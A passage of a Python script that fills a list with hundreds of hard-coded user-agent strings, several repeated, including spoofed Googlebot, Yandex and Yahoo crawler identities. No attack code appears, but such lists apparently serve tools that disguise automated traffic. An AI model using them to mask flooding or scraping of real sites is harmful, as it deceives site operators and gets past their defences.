  1396.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1397.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1398.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1399.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1400.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1401.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1402.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1403.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1404.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1405.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1406.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1407.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1408.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1409.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1410.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1411.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1412.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1413.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1414.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1415.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1416.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1417.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1418.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1419.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1420.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1421.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1422.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1423.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1424.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1425.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1426.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1427.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1428.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1429.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1430.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1431.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1432.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1433.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1434.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1435.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1436.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1437.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1438.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1439.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1440.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1441.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1442.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1443.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1444.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1445.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1446.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1447.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1448.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1449.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1450.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1451.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1452.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1453.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1454.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1455.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1456.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1457.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1458.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1459.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1460.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1461.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1462.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1463.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1464.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1465.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1466.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1467.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1468.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1469.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1470.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1471.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1472.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1473.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1474.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1475.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1476.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1477.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1478.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1479.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1480.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1481.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1482.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1483.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1484.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1485.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1486.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1487.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1488.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1489.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1490.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1491.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1492.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1493.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1494.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1495.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1496.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1497.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1498.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1499.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1500.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1501.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1502.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1503.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1504.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1505.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1506.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1507.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1508.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1509.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1510.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1511.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1512.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1513.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1514.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1515.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1516.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1517.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1518.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1519.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1520.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1521.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1522.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1523.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1524.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1525.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1526.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1527.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1528.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1529.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1530.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1531.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1532.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1533.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1534.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1535.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1536.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1537.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1538.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1539.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1540.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1541.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1542.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1543.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1544.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1545.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1546.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1547.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1548.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1549.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1550.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1551.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1552.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1553.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1554.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1555.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1556.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1557.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1558.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1559.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1560.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1561.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1562.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1563.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1564.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1565.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1566.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1567.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1568.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1569.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1570.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1571.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1572.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1573.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1574.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1575.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1576.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1577.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1578.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1579.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1580.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1581.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1582.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1583.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1584.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
